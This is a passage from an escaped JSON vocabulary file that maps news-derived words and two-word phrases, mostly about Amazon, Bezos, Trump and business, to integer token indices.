 \"educateing elected\": 187481,\n  \"fewer stores\": 187482,\n  \"cnn markupid\": 187483,\n  \"firm associated\": 187484,\n  \"considerable\": 187485,\n  \"media peter\": 187486,\n  \"ju ly\": 187487,\n  \"don pleebles\": 187488,\n  \"julia claire\": 187489,\n  \"incumbent private\": 187490,\n  \"operations guy\": 187491,\n  \"gossip girl\": 187492,\n  \"sales consultants\": 187493,\n  \"saying commerce\": 187494,\n  \"public offering\": 187495,\n  \"private security\": 187496,\n  \"reduced revenue\": 187497,\n  \"christmas merchandise\": 187498,\n  \"post marty\": 187499,\n  \"cumulative losses\": 187500,\n  \"apolitical\": 187501,\n  \"tent\": 187502,\n  \"opinion based\": 187503,\n  \"election just\": 187504,\n  \"team san\": 187505,\n  \"cool foggy\": 187506,\n  \"published viacom\": 187507,\n  \"alliance led\": 187508,\n  \"carr trump\": 187509,\n  \"reported fin\": 187510,\n  \"hussein called\": 187511,\n  \"analysts study\": 187512,\n  \"jeff nbsp\": 187513,\n  \"pedestrians uber\": 187514,\n  \"topping consumer\": 187515,\n  \"contributor getty\": 187516,\n  \"rules man\": 187517,\n  \"barely scraping\": 187518,\n  \"bezos identified\": 187519,\n  \"pence colombia\": 187520,\n  \"fighting political\": 187521,\n  \"david pecker\": 187522,\n  \"connolly va\": 187523,\n  \"low electricity\": 187524,\n  \"intransigent eu\": 187525,\n  \"generations looking\": 187526,\n  \"transitioning massive\": 187527,\n  \"initial interview\": 187528,\n  \"ownership\": 187529,\n  \"items amazon\": 187530,\n  \"stop lands\": 187531,\n  \"air conditioned\": 187532,\n  \"content relative\": 187533,\n  \"year multiple\": 187534,\n  \"lawyers refused\": 187535,\n  \"downstairs\": 187536,\n  \"newly placed\": 187537,\n  \"scrutinize mergers\": 187538,\n  \"gretchen bender\": 187539,\n  \"capacity shifted\": 187540,\n  \"retail product\": 187541,\n  \"hurled ominous\": 187542,\n  \"mccubin\": 187543,\n  \"says leaker\": 187544,\n  \"tougher stance\": 187545,\n  \"multi award\": 187546,\n  \"holiday free\": 187547,\n  \"story publication\": 187548,\n  \"wyden hillicon\": 187549,\n  \"video compression\": 187550,\n  \"field working\": 187551,\n  \"national public\": 187552,\n  \"fitzpatrick\": 187553,\n  \"complain amazon\": 187554,\n  \"extended holiday\": 187555,\n  \"linger following\": 187556,\n  \"demanded instead\": 187557,\n  \"new password\": 187558,\n  \"pa a4ee\": 187559,\n  \"ruse\": 187560,\n  \"shown good\": 187561,\n  \"gaining steam\": 187562,\n  \"surviving\": 187563,\n  \"cow horn\": 187564,\n  \"compression products\": 187565,\n  \"commission reports\": 187566,\n  \"tradition officially\": 187567,\n  \"lower investors\": 187568,\n  \"joy buolamwini\": 187569,\n  \"europe 600\": 187570,\n  \"million portion\": 187571,\n  \"store grocery\": 187572,\n  \"cost payments\": 187573,\n  \"2008 peak\": 187574,\n  \"trump jr\": 187575,\n  \"media app\": 187576,\n  \"slid\": 187577,\n  \"maximize quantity\": 187578,\n  \"rival bidder\": 187579,\n  \"354\": 187580,\n  \"oct geekwire\": 187581,\n  \"resume trump\": 187582,\n  \"mode\": 187583,\n  \"talent pipeline\": 187584,\n  \"collected 140\": 187585,\n  \"baked bread\": 187586,\n  \"ashton netflix\": 187587,\n  \"onlineshopping\": 187588,\n  \"pre paying\": 187589,\n  \"gym honed\": 187590,\n  \"yelp files\": 187591,\n  \"obstruction feb\": 187592,\n  \"shree rajneesh\": 187593,\n  \"screw\": 187594,\n  \"field recently\": 187595,\n  \"trump revealing\": 187596,\n  \"prince britain\": 187597,\n  \"force stops\": 187598,\n  \"internet protocols\": 187599,\n  \"1161\": 187600,\n  \"karen matthews\": 187601,\n  \"involved\": 187602,\n  \"i9 object\": 187603,\n  \"forward clearly\": 187604,\n  \"maker oars\": 187605,\n  \"anti\": 187606,\n  \"measure 2020\": 187607,\n  \"doings trump\": 187608,\n  \"goodman city\": 187609,\n  \"summit results\": 187610,\n  \"french language\": 187611,\n  \"impact\": 187612,\n  \"aq\": 187613,\n  \"primeair cargo\": 187614,\n  \"advocating stricter\": 187615,\n  \"geraldine deruiter\": 187616,\n  \"live according\": 187617,\n  \"big threats\": 187618,\n  \"eat children\": 187619,\n  \"cambria\": 187620,\n  \"bid raised\": 187621,\n  \"press series\": 187622,\n  \"early 2018\": 187623,\n  \"characterized zinke\": 187624,\n  \"apologizes chicago\": 187625,\n  \"lower apple\": 187626,\n  \"maximise revenue\": 187627,\n  \"100 points\": 187628,\n  \"marthawharton3\": 187629,\n  \"essays drawings\": 187630,\n  \"war proof\": 187631,\n  \"point memo\": 187632,\n  \"feast breeze\": 187633,\n  \"black shoelace\": 187634,\n  \"byline appears\": 187635,\n  \"2fct maxine\": 187636,\n  \"cook food\": 187637,\n  \"immigrant experience\": 187638,\n  \"lodged\": 187639,\n  \"provide federal\": 187640,\n  \"gp limited\": 187641,\n  \"josipovi\\u0107\": 187642,\n  \"outsized share\": 187643,\n  \"politically palatable\": 187644,\n  \"visas\": 187645,\n  \"make president\": 187646,\n  \"reader favorite\": 187647,\n  \"westjet\": 187648,\n  \"effect implications\": 187649,\n  \"extra stroke\": 187650,\n  \"considered vertical\": 187651,\n  \"hopping mad\": 187652,\n  \"widens wealth\": 187653,\n  \"facilitate balance\": 187654,\n  \"happen data\": 187655,\n  \"away\": 187656,\n  \"slammed mccabe\": 187657,\n  \"juiced\": 187658,\n  \"ann durbin\": 187659,\n  \"rarely talks\": 187660,\n  \"people depart\": 187661,\n  \"allbritton\": 187662,\n  \"tweeted hours\": 187663,\n  \"spirit developed\": 187664,\n  \"company wanted\": 187665,\n  \"composite edged\": 187666,\n  \"math brings\": 187667,\n  \"614\": 187668,\n  \"surprising announcement\": 187669,\n  \"traits true\": 187670,\n  \"government called\": 187671,\n  \"night murals\": 187672,\n  \"gotten pressured\": 187673,\n  \"including 1300\": 187674,\n  \"laurence ball\": 187675,\n  \"email promoted\": 187676,\n  \"723 441\": 187677,\n  \"seriously lmpressive\": 187678,\n  \"wapichana\": 187679,\n  \"travel money\": 187680,\n  \"separate logistics\": 187681,\n  \"illegal hope\": 187682,\n  \"developments showcased\": 187683,\n  \"directors ken\": 187684,\n  \"earlier don\": 187685,\n  \"followers tweeted\": 187686,\n  \"believe provided\": 187687,\n  \"ernest matthew\": 187688,\n  \"retail performance\": 187689,\n  \"liability swatch\": 187690,\n  \"367\": 187691,\n  \"employees citi\": 187692,\n  \"included expletives\": 187693,\n  \"market major\": 187694,\n  \"form governments\": 187695,\n  \"000 according\": 187696,\n  \"netanyahu aljazeera\": 187697,\n  \"temporary crackdown\": 187698,\n  \"affect humanity\": 187699,\n  \"uber viable\": 187700,\n  \"mazon\": 187701,\n  \"offer dime\": 187702,\n  \"contracts outside\": 187703,\n  \"commenting privileges\": 187704,\n  \"watchers bet\": 187705,\n  \"climate plan\": 187706,\n  \"remains inefficient\": 187707,\n  \"jquery metadata\": 187708,\n  \"claiborne\": 187709,\n  \"colder overnight\": 187710,\n  \"understand instead\": 187711,\n  \"approval allows\": 187712,\n  \"offer alexa\": 187713,\n  \"bother signing\": 187714,\n  \"kanter real\": 187715,\n  \"kshama sawant\": 187716,\n  \"prominent advocate\": 187717,\n  \"youir\": 187718,\n  \"transplant minutes\": 187719,\n  \"momentarily giving\": 187720,\n  \"megyn\": 187721,\n  \"a5q\": 187722,\n  \"tarred feathered\": 187723,\n  \"2019 brave\": 187724,\n  \"records amazon\": 187725,\n  \"blockchain decoded\": 187726,\n  \"linkedin california\": 187727,\n  \"sharp decline\": 187728,\n  \"performance enhancing\": 187729,\n  \"overlapping mergers\": 187730,\n  \"larger washington\": 187731,\n  \"watchdog involved\": 187732,\n  \"agency researchers\": 187733,\n  \"automatically using\": 187734,\n  \"eu west\": 187735,\n  \"york northern\": 187736,\n  \"amazon bargains\": 187737,\n  \"hawaii seal\": 187738,\n  \"global really\": 187739,\n  \"margin businesses\": 187740,\n  \"differing slightly\": 187741,\n  \"1529509628\": 187742,\n  \"tom block\": 187743,\n  \"flame months\": 187744,\n  \"quick look\": 187745,\n  \"world certainly\": 187746,\n  \"mcdaniel just\": 187747,\n  \"lobbying presence\": 187748,\n  \"employee influence\": 187749,\n  \"flaccid myelitis\": 187750,\n  \"motivated nature\": 187751,\n  \"denver teacher\": 187752,\n  \"pretty big\": 187753,\n  \"amid fears\": 187754,\n  \"netherlands\": 187755,\n  \"year adding\": 187756,\n  \"catchy nicknames\": 187757,\n  \"party services\": 187758,\n  \"michael kovrig\": 187759,\n  \"steals\": 187760,\n  \"defendants include\": 187761,\n  \"strong organic\": 187762,\n  \"litmus\": 187763,\n  \"inspire public\": 187764,\n  \"wisconsin residents\": 187765,\n  \"misfire\": 187766,\n  \"645 988\": 187767,\n  \"gives speech\": 187768,\n  \"dr\": 187769,\n  \"alter checks\": 187770,\n  \"scalise\": 187771,\n  \"paralysed\": 187772,\n  \"benghazi\": 187773,\n  \"large firms\": 187774,\n  \"victory capital\": 187775,\n  \"rising rates\": 187776,\n  \"residents tourists\": 187777,\n  \"1075\": 187778,\n  \"post edition\": 187779,\n  \"bursts\": 187780,\n  \"assertiveness\": 187781,\n  \"immediately turned\": 187782,\n  \"recently president\": 187783,\n  \"emotional issues\": 187784,\n  \"selling mean\": 187785,\n  \"illegal usurpation\": 187786,\n  \"leveling\": 187787,\n  \"employees hands\": 187788,\n  \"faced stiff\": 187789,\n  \"nearly 178\": 187790,\n  \"positive things\": 187791,\n  \"tv ratings\": 187792,\n  \"sears led\": 187793,\n  \"mario diaz\": 187794,\n  \"pledged us400\": 187795,\n  \"clear accountability\": 187796,\n  \"require asign\": 187797,\n  \"received significant\": 187798,\n  \"choksi\": 187799,\n  \"jeanne whalen\": 187800,\n  \"campaigners shareholders\": 187801,\n  \"clapper trump\": 187802,\n  \"kidsfoundation\": 187803,\n  \"politicians prompted\": 187804,\n  \"club curry\": 187805,\n  \"says wasn\": 187806,\n  \"noah journalist\": 187807,\n  \"maddie parents\": 187808,\n  \"called illegal\": 187809,\n  \"oil firm\": 187810,\n  \"1964 herzog\": 187811,\n  \"aids virus\": 187812,\n  \"bancshares\": 187813,\n  \"f1 horscic\": 187814,\n  \"offerup smartsheet\": 187815,\n  \"mid 2015\": 187816,\n  \"sanchez\": 187817,\n  \"strategist\": 187818,\n  \"politically fraught\": 187819,\n  \"viglasky\": 187820,\n  \"langford lucy\": 187821,\n  \"325\": 187822,\n  \"transform beijing\": 187823,\n  \"murdering babies\": 187824,\n  \"fan james\": 187825,\n  \"hulls menthol\": 187826,\n  \"gorsuch cast\": 187827,\n  \"fictional epic\": 187828,\n  \"fair taxes\": 187829,\n  \"target partly\": 187830,\n  \"apparel\": 187831,\n  \"york consultants\": 187832,\n  \"hospital viniar\": 187833,\n  \"dems win\": 187834,\n  \"fact specify\": 187835,\n  \"breaking trump\": 187836,\n  \"issue consumers\": 187837,\n  \"growing families\": 187838,\n  \"rebny\": 187839,\n  \"145 george\": 187840,\n  \"cortez did\": 187841,\n  \"service decision\": 187842,\n  \"fact contributions\": 187843,\n  \"rep peter\": 187844,\n  \"raped\": 187845,\n  \"year spokeswoman\": 187846,\n  \"persistently\": 187847,\n  \"faced tough\": 187848,\n  \"model thinly\": 187849,\n  \"slogan make\": 187850,\n  \"equally strange\": 187851,\n  \"defeat details\": 187852,\n  \"miranda ollstein\": 187853,\n  \"bezos longterm\": 187854,\n  \"binging\": 187855,\n  \"sector\": 187856,\n  \"precarity amazon\": 187857,\n  \"called small\": 187858,\n  \"house counsel\": 187859,\n  \"amazing network\": 187860,\n  \"uncovered\": 187861,\n  \"meeting aws\": 187862,\n  \"presidency winter\": 187863,\n  \"surveillance tech\": 187864,\n  \"construction emily\": 187865,\n  \"numbers 951\": 187866,\n  \"unrelenting investigation\": 187867,\n  \"power steering\": 187868,\n  \"incentives maybe\": 187869,\n  \"funneled money\": 187870,\n  \"sessions stands\": 187871,\n  \"times square\": 187872,\n  \"threw amazon\": 187873,\n  \"irrational\": 187874,\n  \"tutor\": 187875,\n  \"deletion\": 187876,\n  \"twohour\": 187877,\n  \"blocking trump\": 187878,\n  \"basically lost\": 187879,\n  \"transport pace\": 187880,\n  \"varex imaging\": 187881,\n  \"couldn befall\": 187882,\n  \"israeli\": 187883,\n  \"consider tariffs\": 187884,\n  \"campaign stump\": 187885,\n  \"company jeff\": 187886,\n  \"pawlenty\": 187887,\n  \"promising potentially\": 187888,\n  \"price overt\": 187889,\n  \"wrong reloading\": 187890,\n  \"victory amazon\": 187891,\n  \"cook cbs\": 187892,\n  \"albany ap\": 187893,\n  \"mackenzie won\": 187894,\n  \"major public\": 187895,\n  \"adp national\": 187896,\n  \"democratic controlled\": 187897,\n  \"jeanine\": 187898,\n  \"legally vulnerable\": 187899,\n  \"final value\": 187900,\n  \"known mental\": 187901,\n  \"assembly senate\": 187902,\n  \"adults immigration\": 187903,\n  \"income households\": 187904,\n  \"considering powell\": 187905,\n  \"expensive ooey\": 187906,\n  \"senator gardner\": 187907,\n  \"nest actually\": 187908,\n  \"giovanni tria\": 187909,\n  \"kicker facebook\": 187910,\n  \"1539102369\": 187911,\n  \"welker\": 187912,\n  \"national wage\": 187913,\n  \"original amazongo\": 187914,\n  \"process thankfully\": 187915,\n  \"hideous\": 187916,\n  \"bothsides\": 187917,\n  \"universal trump\": 187918,\n  \"soon image\": 187919,\n  \"acceptable risk\": 187920,\n  \"tech sector\": 187921,\n  \"center ron\": 187922,\n  \"growth spurt\": 187923,\n  \"amazon current\": 187924,\n  \"toxic levels\": 187925,\n  \"varma told\": 187926,\n  \"grass root\": 187927,\n  \"divorce saga\": 187928,\n  \"request doubling\": 187929,\n  \"38m reports\": 187930,\n  \"comprehensive collection\": 187931,\n  \"newspeak\": 187932,\n  \"pass uncovered\": 187933,\n  \"nyse brk\": 187934,\n  \"nuclear proliferation\": 187935,\n  \"jobs pointing\": 187936,\n  \"whichever party\": 187937,\n  \"graduate founded\": 187938,\n  \"inslee\": 187939,\n  \"political donor\": 187940,\n  \"nafta replacement\": 187941,\n  \"certain products\": 187942,\n  \"say lean\": 187943,\n  \"democrats read\": 187944,\n  \"widely rumored\": 187945,\n  \"carolina deputy\": 187946,\n  \"trump opponents\": 187947,\n  \"orleans setting\": 187948,\n  \"daily fix\": 187949,\n  \"items expressing\": 187950,\n  \"journal reported\": 187951,\n  \"time low\": 187952,\n  \"antitrust sherman\": 187953,\n  \"structural\": 187954,\n  \"nov employees\": 187955,\n  \"good tale\": 187956,\n  \"head tech\": 187957,\n  \"particularly pronounced\": 187958,\n  \"response calls\": 187959,\n  \"apple original\": 187960,\n  \"follows\": 187961,\n  \"chenoweth\": 187962,\n  \"pecker immunity\": 187963,\n  \"suspended urban\": 187964,\n  \"larcker professor\": 187965,\n  \"nonverbal\": 187966,\n  \"intelligence operative\": 187967,\n  \"refuses\": 187968,\n  \"indexes closed\": 187969,\n  \"include bonuses\": 187970,\n  \"groceries fortune\": 187971,\n  \"granted ivanka\": 187972,\n  \"cabo just\": 187973,\n  \"sourcefoursquare\": 187974,\n  \"competitor facebook\": 187975,\n  \"directed\": 187976,\n  \"convention says\": 187977,\n  \"fedex downplays\": 187978,\n  \"nominated producer\": 187979,\n  \"sent flurry\": 187980,\n  \"battleground\": 187981,\n  \"called aris\": 187982,\n  \"dawkins\": 187983,\n  \"small tomato\": 187984,\n  \"long tried\": 187985,\n  \"investment partnership\": 187986,\n  \"marketwatch cloud\": 187987,\n  \"london time\": 187988,\n  \"relationship closer\": 187989,\n  \"meaningfully utilized\": 187990,\n  \"seizures comas\": 187991,\n  \"200 followers\": 187992,\n  \"amazon teams\": 187993,\n  \"congress nears\": 187994,\n  \"biore\": 187995,\n  \"morning took\": 187996,\n  \"act ndaa\": 187997,\n  \"prisoner\": 187998,\n  \"direction trump\": 187999,\n  \"soulful upbringing\": 188000,\n  \"effective medium\": 188001,\n  \"ships\": 188002,\n  \"run small\": 188003,\n  \"inc_feature_image_override_position null\": 188004,\n  \"collecting commissions\": 188005,\n  \"absolutely exploited\": 188006,\n  \"wyoming tribune\": 188007,\n  \"company financially\": 188008,\n  \"rep goodlatte\": 188009,\n  \"slowing gms\": 188010,\n  \"ended 2018\": 188011,\n  \"magazine nymag\": 188012,\n  \"deal backed\": 188013,\n  \"sets trump\": 188014,\n  \"largest grocery\": 188015,\n  \"2015 total\": 188016,\n  \"officials stressed\": 188017,\n  \"stiffs\": 188018,\n  \"fox 2000\": 188019,\n  \"summit aims\": 188020,\n  \"currently crammed\": 188021,\n  \"travel habits\": 188022,\n  \"include yelp\": 188023,\n  \"expect fourth\": 188024,\n  \"vibrant commercial\": 188025,\n  \"service billion\": 188026,\n  \"york city20\": 188027,\n  \"david briley\": 188028,\n  \"require enterprise\": 188029,\n  \"valuable companies\": 188030,\n  \"foreign domicile\": 188031,\n  \"massive profit\": 188032,\n  \"accuser referred\": 188033,\n  \"employees issued\": 188034,\n  \"repetitive criticism\": 188035,\n  \"mandating\": 188036,\n  \"article donald\": 188037,\n  \"disputing\": 188038,\n  \"polish\": 188039,\n  \"parental leave\": 188040,\n  \"christian group\": 188041,\n  \"report begin\": 188042,\n  \"azure government\": 188043,\n  \"wide hinged\": 188044,\n  \"operation desert\": 188045,\n  \"vendor appears\": 188046,\n  \"provider oracle\": 188047,\n  \"walgreens boots\": 188048,\n  \"house convened\": 188049,\n  \"asked followers\": 188050,\n  \"tabulating votes\": 188051,\n  \"roastery nyc\": 188052,\n  \"coveted destination\": 188053,\n  \"printed\": 188054,\n  \"pastel dj\": 188055,\n  \"beautiful letters\": 188056,\n  \"leve amazon\": 188057,\n  \"example google\": 188058,\n  \"garofalo writes\": 188059,\n  \"term bearish\": 188060,\n  \"sauron did\": 188061,\n  \"father fred\": 188062,\n  \"apprenticeships\": 188063,\n  \"zeile talks\": 188064,\n  \"interviews spicer\": 188065,\n  \"dizzy\": 188066,\n  \"fost\": 188067,\n  \"marion street\": 188068,\n  \"deploys face\": 188069,\n  \"protect donald\": 188070,\n  \"novelties exclusively\": 188071,\n  \"street reason\": 188072,\n  \"pounds million\": 188073,\n  \"princeton university\": 188074,\n  \"giving billions\": 188075,\n  \"new report\": 188076,\n  \"week count\": 188077,\n  \"buzz saw\": 188078,\n  \"right movement\": 188079,\n  \"pjnet maga\": 188080,\n  \"growing fintech\": 188081,\n  \"energy consultant\": 188082,\n  \"articles starboard\": 188083,\n  \"bootlegs run\": 188084,\n  \"objected\": 188085,\n  \"commandeering air\": 188086,\n  \"contracts amazon\": 188087,\n  \"recent posts\": 188088,\n  \"vegetation\": 188089,\n  \"trump slogans\": 188090,\n  \"increasing long\": 188091,\n  \"squeezing suppliers\": 188092,\n  \"upended embedded\": 188093,\n  \"term vendor\": 188094,\n  \"arrogant\": 188095,\n  \"heckled\": 188096,\n  \"exchanged bezos\": 188097,\n  \"turns aggressive\": 188098,\n  \"parents improve\": 188099,\n  \"scam shipping\": 188100,\n  \"amazon pr\": 188101,\n  \"damon manchester\": 188102,\n  \"greater flaws\": 188103,\n  \"rourke told\": 188104,\n  \"competitors including\": 188105,\n  \"freighter operations\": 188106,\n  \"elstree\": 188107,\n  \"infrastructures\": 188108,\n  \"hale\": 188109,\n  \"took hit\": 188110,\n  \"equipment company\": 188111,\n  \"returning results\": 188112,\n  \"office representative\": 188113,\n  \"saocom 1a\": 188114,\n  \"aggression mtp\": 188115,\n  \"commission certifies\": 188116,\n  \"slim earned\": 188117,\n  \"habits\": 188118,\n  \"clima salles\": 188119,\n  \"bezos passive\": 188120,\n  \"return fox\": 188121,\n  \"\\u0142111million percentage\": 188122,\n  \"accounts twitter\": 188123,\n  \"schwab daughter\": 188124,\n  \"yesterday alana\": 188125,\n  \"rosenberger director\": 188126,\n  \"grizzlies woes\": 188127,\n  \"negatively sloped\": 188128,\n  \"tenure\": 188129,\n  \"mattmackowiak\": 188130,\n  \"growing chinese\": 188131,\n  \"expert findings\": 188132,\n  \"employee ranks\": 188133,\n  \"nosedive 2018\": 188134,\n  \"lost lawsuit\": 188135,\n  \"analyst ruins\": 188136,\n  \"trump signaled\": 188137,\n  \"emarketer doesn\": 188138,\n  \"smart tech\": 188139,\n  \"report recommends\": 188140,\n  \"year read\": 188141,\n  \"chinas\": 188142,\n  \"national interests\": 188143,\n  \"make 20america\": 188144,\n  \"ousting\": 188145,\n  \"sketch titled\": 188146,\n  \"want higher\": 188147,\n  \"behalf post\": 188148,\n  \"moz seattle\": 188149,\n  \"value stocks\": 188150,\n  \"new studies\": 188151,\n  \"price structure\": 188152,\n  \"mornings check\": 188153,\n  \"including convenience\": 188154,\n  \"level government\": 188155,\n  \"monopoly government\": 188156,\n  \"spokeswoman ruchika\": 188157,\n  \"editors loved\": 188158,\n  \"taken\": 188159,\n  \"settings lees\": 188160,\n  \"news 17009396\": 188161,\n  \"harder\": 188162,\n  \"lower paying\": 188163,\n  \"provide steady\": 188164,\n  \"downstate\": 188165,\n  \"losing nyt\": 188166,\n  \"today according\": 188167,\n  \"hello dolly\": 188168,\n  \"price used\": 188169,\n  \"retail titan\": 188170,\n  \"2019 today\": 188171,\n  \"say\": 188172,\n  \"jpg 300x520\": 188173,\n  \"amazon reached\": 188174,\n  \"baying\": 188175,\n  \"delayed hearing\": 188176,\n  \"sold lot\": 188177,\n  \"destroying thousands\": 188178,\n  \"2013 vowed\": 188179,\n  \"jour\": 188180,\n  \"post suggesting\": 188181,\n  \"duffy\": 188182,\n  \"aluminum ironically\": 188183,\n  \"cortez ny\": 188184,\n  \"handling amazon\": 188185,\n  \"lusting\": 188186,\n  \"guys help\": 188187,\n  \"copied snapchat\": 188188,\n  \"limited gearing\": 188189,\n  \"past sanchez\": 188190,\n  \"ruling trump\": 188191,\n  \"switzerland warmer\": 188192,\n  \"hour commute\": 188193,\n  \"enslaved\": 188194,\n  \"usual sordid\": 188195,\n  \"cds widens\": 188196,\n  \"pending maelstrom\": 188197,\n  \"wax\": 188198,\n  \"425 000\": 188199,\n  \"year topped\": 188200,\n  \"2018 white\": 188201,\n  \"misleadingly written\": 188202,\n  \"create technology\": 188203,\n  \"tax freedom\": 188204,\n  \"leslie moonves\": 188205,\n  \"taxpayer cronyism\": 188206,\n  \"summer reading\": 188207,\n  \"mccarthy miller\": 188208,\n  \"free right\": 188209,\n  \"economics things\": 188210,\n  \"browser plug\": 188211,\n  \"way victim\": 188212,\n  \"technical expertise\": 188213,\n  \"selling season\": 188214,\n  \"proud restaurant\": 188215,\n  \"america historic\": 188216,\n  \"need changes\": 188217,\n  \"msm outlets\": 188218,\n  \"platforms cloud\": 188219,\n  \"magnificent bastard\": 188220,\n  \"field city\": 188221,\n  \"video warning\": 188222,\n  \"travelhost elite\": 188223,\n  \"inconsistent approach\": 188224,\n  \"relatively calm\": 188225,\n  \"companies cash\": 188226,\n  \"actor california\": 188227,\n  \"carolina told\": 188228,\n  \"headphones black\": 188229,\n  \"munster floated\": 188230,\n  \"casual restaurants\": 188231,\n  \"jacket soldier\": 188232,\n  \"incomprehensibly\": 188233,\n  \"sens josh\": 188234,\n  \"limit indigenous\": 188235,\n  \"garcia marketwatch\": 188236,\n  \"red tide\": 188237,\n  \"past washington\": 188238,\n  \"veracity\": 188239,\n  \"buy love\": 188240,\n  \"left unchallenged\": 188241,\n  \"lasser estimated\": 188242,\n  \"cancellation occurred\": 188243,\n  \"explores family\": 188244,\n  \"boston business\": 188245,\n  \"kavanaugh iconimageurl\": 188246,\n  \"recently granting\": 188247,\n  \"commentators diamond\": 188248,\n  \"cop probe\": 188249,\n  \"ag whitaker\": 188250,\n  \"selling lot\": 188251,\n  \"play means\": 188252,\n  \"city location\": 188253,\n  \"libey\": 188254,\n  \"logistics transportation\": 188255,\n  \"main action\": 188256,\n  \"promotions null\": 188257,\n  \"essentially promotional\": 188258,\n  \"title character\": 188259,\n  \"allegations baseless\": 188260,\n  \"patil\": 188261,\n  \"unknown sarah\": 188262,\n  \"amplify online\": 188263,\n  \"incompetent president\": 188264,\n  \"kelly sex\": 188265,\n  \"bezos complies\": 188266,\n  \"trump price\": 188267,\n  \"morrison\": 188268,\n  \"published magazine\": 188269,\n  \"fb makes\": 188270,\n  \"efficiencies fortune\": 188271,\n  \"database services\": 188272,\n  \"yield incredible\": 188273,\n  \"mid 2019\": 188274,\n  \"uphill battle\": 188275,\n  \"organisations focussed\": 188276,\n  \"best rain\": 188277,\n  \"decreased wages\": 188278,\n  \"factcheck org\": 188279,\n  \"anzalone\": 188280,\n  \"scary shows\": 188281,\n  \"men cheated\": 188282,\n  \"grew year\": 188283,\n  \"apg asset\": 188284,\n  \"presidential primaries\": 188285,\n  \"690\": 188286,\n  \"daughter posted\": 188287,\n  \"appropriately anti\": 188288,\n  \"plea deal\": 188289,\n  \"american civil\": 188290,\n  \"sentiment showed\": 188291,\n  \"vibrams meld\": 188292,\n  \"spot\": 188293,\n  \"travel demands\": 188294,\n  \"department ethics\": 188295,\n  \"shopper physical\": 188296,\n  \"testify tomorrow\": 188297,\n  \"5bn fine\": 188298,\n  \"pampers\": 188299,\n  \"raising postal\": 188300,\n  \"amazon investor\": 188301,\n  \"upward revised\": 188302,\n  \"underpricing\": 188303,\n  \"baptist pastor\": 188304,\n  \"includes wait\": 188305,\n  \"showname jquery\": 188306,\n  \"neotrope\": 188307,\n  \"tjx lowe\": 188308,\n  \"presidential task\": 188309,\n  \"remote amazon\": 188310,\n  \"gold agold\": 188311,\n  \"lightweight wheels\": 188312,\n  \"infusions combined\": 188313,\n  \"218 000\": 188314,\n  \"disagreeing\": 188315,\n  \"pee\": 188316,\n  \"utter\": 188317,\n  \"press cocktail\": 188318,\n  \"trend needs\": 188319,\n  \"criticism additionally\": 188320,\n  \"cohen essential\": 188321,\n  \"brandview null\": 188322,\n  \"equality collectively\": 188323,\n  \"workers involved\": 188324,\n  \"proven\": 188325,\n  \"rail crossing\": 188326,\n  \"presidential accusations\": 188327,\n  \"grace best\": 188328,\n  \"cleveland growing\": 188329,\n  \"life greer\": 188330,\n  \"meaningfully higher\": 188331,\n  \"gl\": 188332,\n  \"strategy worked\": 188333,\n  \"771 398\": 188334,\n  \"chapel\": 188335,\n  \"story gothamist\": 188336,\n  \"stakeholders amazon\": 188337,\n  \"commondreams\": 188338,\n  \"14pm\": 188339,\n  \"nip potential\": 188340,\n  \"bombpopday\": 188341,\n  \"making wise\": 188342,\n  \"haptic technology\": 188343,\n  \"card numbers\": 188344,\n  \"rezoning\": 188345,\n  \"provoke pushback\": 188346,\n  \"republicans revile\": 188347,\n  \"nation magazine\": 188348,\n  \"favored targets\": 188349,\n  \"conservative causes\": 188350,\n  \"hold near\": 188351,\n  \"bezos don\": 188352,\n  \"group focuses\": 188353,\n  \"heated debate\": 188354,\n  \"president mulled\": 188355,\n  \"values methodical\": 188356,\n  \"getting prenup\": 188357,\n  \"held liable\": 188358,\n  \"church congregation\": 188359,\n  \"company earned\": 188360,\n  \"darkest\": 188361,\n  \"pet\": 188362,\n  \"jennifer steinhauer\": 188363,\n  \"wfaries\": 188364,\n  \"twitterstorm lodged\": 188365,\n  \"traded items\": 188366,\n  \"commerce tools\": 188367,\n  \"assemblywoman\": 188368,\n  \"mailing\": 188369,\n  \"ignition conference\": 188370,\n  \"airs weekends\": 188371,\n  \"sophisticated software\": 188372,\n  \"waterfront sites\": 188373,\n  \"action purchase\": 188374,\n  \"post published\": 188375,\n  \"private dinner\": 188376,\n  \"saying jones\": 188377,\n  \"male presence\": 188378,\n  \"investor conferences\": 188379,\n  \"incomes housing\": 188380,\n  \"tense close\": 188381,\n  \"ism\": 188382,\n  \"city magas\": 188383,\n  \"facilities amazon\": 188384,\n  \"heeded trump\": 188385,\n  \"bearish outlook\": 188386,\n  \"mentioned earlier\": 188387,\n  \"nations hosting\": 188388,\n  \"work team\": 188389,\n  \"ancestry\": 188390,\n  \"twitter ambassadors\": 188391,\n  \"democratic representative\": 188392,\n  \"antics related\": 188393,\n  \"new survey\": 188394,\n  \"belongs\": 188395,\n  \"post slogan\": 188396,\n  \"northern\": 188397,\n  \"ivory tower\": 188398,\n  \"undertaken\": 188399,\n  \"chelsea manning\": 188400,\n  \"seal hospital\": 188401,\n  \"davos switzerland\": 188402,\n  \"content inspired\": 188403,\n  \"repeats past\": 188404,\n  \"main product\": 188405,\n  \"high share\": 188406,\n  \"technical performance\": 188407,\n  \"blach\\u00e9\": 188408,\n  \"275k reported\": 188409,\n  \"lynn long\": 188410,\n  \"gop legislators\": 188411,\n  \"cheapest surface\": 188412,\n  \"fake goods\": 188413,\n  \"announcement hammered\": 188414,\n  \"reportedly laying\": 188415,\n  \"purchasing inside\": 188416,\n  \"2h18\": 188417,\n  \"viral earlier\": 188418,\n  \"google released\": 188419,\n  \"comcast integration\": 188420,\n  \"analyst reiterates\": 188421,\n  \"zhenyi\": 188422,\n  \"tillis panel\": 188423,\n  \"faces potential\": 188424,\n  \"big increase\": 188425,\n  \"mnuchin urged\": 188426,\n  \"carlson conservative\": 188427,\n  \"factset consensus\": 188428,\n  \"head significantly\": 188429,\n  \"ignored basic\": 188430,\n  \"national average\": 188431,\n  \"influenced stocks\": 188432,\n  \"family money\": 188433,\n  \"amazon puzder\": 188434,\n  \"refinance\": 188435,\n  \"star studded\": 188436,\n  \"owns chef\": 188437,\n  \"multiple employees\": 188438,\n  \"225 million\": 188439,\n  \"amazon longtime\": 188440,\n  \"officially announced\": 188441,\n  \"merrick\": 188442,\n  \"maxgarlandtypes\": 188443,\n  \"pr stunt\": 188444,\n  \"year 2021\": 188445,\n  \"tabloid linked\": 188446,\n  \"fund forest\": 188447,\n  \"bezos karen\": 188448,\n  \"year ranking\": 188449,\n  \"morning saying\": 188450,\n  \"failing grade\": 188451,\n  \"overall oncologists\": 188452,\n  \"brookline 